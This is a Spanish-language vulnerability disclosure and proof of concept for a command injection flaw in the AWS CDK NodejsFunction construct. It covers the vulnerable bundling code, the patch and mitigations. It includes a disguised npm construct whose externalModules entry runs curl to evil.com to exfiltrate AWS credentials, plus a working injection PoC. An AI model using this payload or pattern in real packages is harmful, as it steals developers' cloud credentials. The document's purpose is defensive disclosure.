Informe técnico y Prueba de Concepto (PoC) para CVE-2026-11417: Inyección de Comandos del SO / Ejecución Remota de Código (RCE) en el NodejsFunction de AWS CDK.
Autor: Hesham Ashraf (@HeshamASH)
Fecha: 10 de junio de 2026
Gravedad: Alta (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Neutralización Incorrecta de Elementos Especiales utilizados en un Comando del SO (Inyección de Comandos del SO)
Paquete afectado: aws-cdk-lib (npm), todas las versiones anteriores a 2.245.0
Vendedor: Amazon Web Services (AWS)
Estado: Parcheado (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Boletín: AWS-2026-041 | Aviso: GHSA-999r-qq7v-r334
Descubrí una vulnerabilidad de inyección de comandos en el AWS Cloud Development Kit (CDK) que permitía a un atacante lograr Ejecución Remota de Código (RCE) en cualquier máquina que ejecutara — incluyendo estaciones de trabajo de desarrolladores y tuberías CI/CD — publicando un paquete npm malicioso o enviando una Solicitud de Extracción (Pull Request) manipulada.
cdk synthLa vulnerabilidad existía porque el constructo NodejsFunction de aws-cdk-lib interpolaba cadenas controladas por el usuario directamente en un comando del shell sin saneamiento, ejecutándolo luego mediante bash -c / cmd /c. AWS parcheó el problema reemplazando la ejecución basada en shell con arrays de argumentos directos de spawnSync.
El AWS Cloud Development Kit (CDK) es un framework de código abierto ampliamente utilizado para definir infraestructura en la nube como código. Lo emplean decenas de miles de desarrolladores y tuberías CI/CD para sintetizar y desplegar stacks de AWS CloudFormation.
El constructo NodejsFunction es uno de los constructos L2 más populares del CDK. Agrupa funciones Lambda TypeScript/JavaScript usando esbuild durante la fase de síntesis (cdk synth).
El constructo NodejsFunction construía una cadena de comando del shell al interpolar directamente varias propiedades controladas por el usuario sin ningún saneamiento:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // SIN ESCAPADO
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // SIN ESCAPADO
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key SIN ESCAPADO
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // SIN ESCAPADO
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // SIN ESCAPADO
];
El array se unía luego en una sola cadena y se pasaba a un shell:
// El comando unido se pasa directamente al shell del SO
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Los metacaracteres del shell como &, ;, |, `, y $(...) dentro de cualquiera de las propiedades inyectables serían interpretados por el shell como separadores de comandos, permitiendo la ejecución arbitraria de comandos.
| Propiedad | Saneamiento | Nivel de Riesgo |
|---|---|---|
externalModules | Ninguno | Crítico |
define (claves) | Ninguno (los valores usan JSON.stringify) | Crítico |
loader (claves) | Ninguno | Crítico |
inject | Ninguno | Crítico |
esbuildArgs (claves/valores) | Ninguno | Crítico |
Esta vulnerabilidad es particularmente peligrosa porque la inyección ocurre en la capa de síntesis del CDK, no durante npm install. Esto significa que las medidas de seguridad estándar de npm como --ignore-scripts no brindan protección.
Un atacante publica un paquete npm de apariencia legítima que envuelve a NodejsFunction:
// Publicado como "convenient-lambda" en npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Carga útil oculta entre externos de apariencia legítima
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Cuando un desarrollador instala este paquete y ejecuta cdk synth, el CDK construye:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
El carácter & divide esto en dos comandos de shell independientes:
npx esbuild --bundle handler.ts --external:lodash — esbuild se ejecuta normalmentecurl https://evil.com/... — la carga útil del atacante extrae las credenciales de AWS| Defensa | ¿Efectiva? | Por Qué |
|---|---|---|
npm install --ignore-scripts | No | La inyección ocurre durante cdk synth, no en la instalación del paquete |
Revisión de código de package.json | No | La carga útil está en el código TypeScript del constructo, no en scripts |
| npm audit | No | El paquete no contiene vulnerabilidades conocidas |
| Integridad del lockfile | No | El paquete en sí se instala correctamente |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts con la carga útil de inyecciónimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Salida: PWNED
El archivo pwned.txt se crea, confirmando la ejecución arbitraria de comandos en la máquina anfitriona.
spawnSync basado en arraysLa corrección principal reemplaza la construcción de cadenas de comandos del shell con spawnSync directo usando arrays de argumentos:
- // Antes: cadena de comando interpretada por el shell
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // Después: array de argumentos directo (sin interpretación del shell)
+ spawnSync(command, args, { /* no shell */ });
Esto elimina por completo la interpretación de metacaracteres del shell. El nuevo sistema de tipos BundlingStep separa claramente:
spawn: esbuild/tsc/install — ejecutados mediante spawnSync directo con arrays de argumentosshell: commandHooks proporcionados por el usuario — ejecutados intencionalmente en shell (el usuario los controla por contrato)fs: operaciones de archivos — sin intervención del shellEn Windows con Node 22+, el spawnSync directo de shims .cmd falla con EINVAL. Este PR redirige los pasos spawn a través de powershell.exe con powershellEscape() — una función que entrecomilla estrictamente cada argumento con comillas simples usando el escapado nativo de PowerShell (duplicando las comillas simples internas), luego antepone el operador de llamada &.
La ejecución en shell es un olor a código. Cualquier ruta de código que construya una cadena y la pase a bash -c o cmd /c es una potencial vulnerabilidad de inyección de comandos. Siempre se debe preferir spawnSync basado en arrays o execFile.
Los ataques a la cadena de suministro evaden las defensas en tiempo de instalación. npm audit y --ignore-scripts protegen contra scripts postinstall maliciosos, pero no pueden proteger contra vulnerabilidades en las herramientas que procesan dependencias en tiempo de compilación.
Los constructos CDK son código de confianza. Cuando un desarrollador importa un constructo CDK de terceros, implícitamente confía en que configurará su infraestructura correctamente. Un constructo malicioso puede aprovechar esta confianza para inyectar cargas útiles en propiedades de bundling que parecen configuración ordinaria.
Actualice de inmediato a la versión 2.245.0 o posterior de aws-cdk-lib
Audite los constructos CDK de terceros para verificar valores inusuales en la propiedad bundling
Fije las versiones de los constructos CDK en su package-lock.json
Revise los Pull Requests que modifiquen la configuración de bundling con escrutinio adicional
Reproduzca la vulnerabilidad usando los archivos proporcionados en la carpeta poc/.
Descubierto e informado por Hesham Ashraf (@HeshamASH). Divulgación coordinada realizada a través del programa VDP de AWS.